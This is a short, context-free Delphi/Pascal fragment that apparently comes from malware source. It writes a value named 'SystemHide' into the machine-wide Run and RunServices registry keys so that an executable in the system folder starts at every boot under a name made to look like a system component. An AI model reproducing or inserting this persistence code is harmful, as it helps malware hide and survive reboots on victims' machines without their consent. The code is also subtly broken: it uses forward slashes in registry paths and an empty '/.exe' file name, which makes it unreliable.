machine_rootkey = HKEY_LOCAL_MACHINE;
user_rootkey = HKEY_CURRENT_USER;
sub_run = '/Software/Microsoft/Windows/CurrentVersion/Run';
sub_runservices = '/Software/Microsoft/Windows/CurrentVersion/RunServices';
myreg := tregistry.Create;
myreg.RootKey := machine_rootkey;
if myreg.OpenKey(sub_run, true) then
begin
myreg.WriteString('SystemHide', syspath + '/.exe');
myreg.CloseKey;
end;
if myreg.OpenKey(sub_RunServices, true) then
begin
myreg.WriteString('SystemHide', syspath + '/.exe');
myreg.CloseKey;
end;
myreg.free;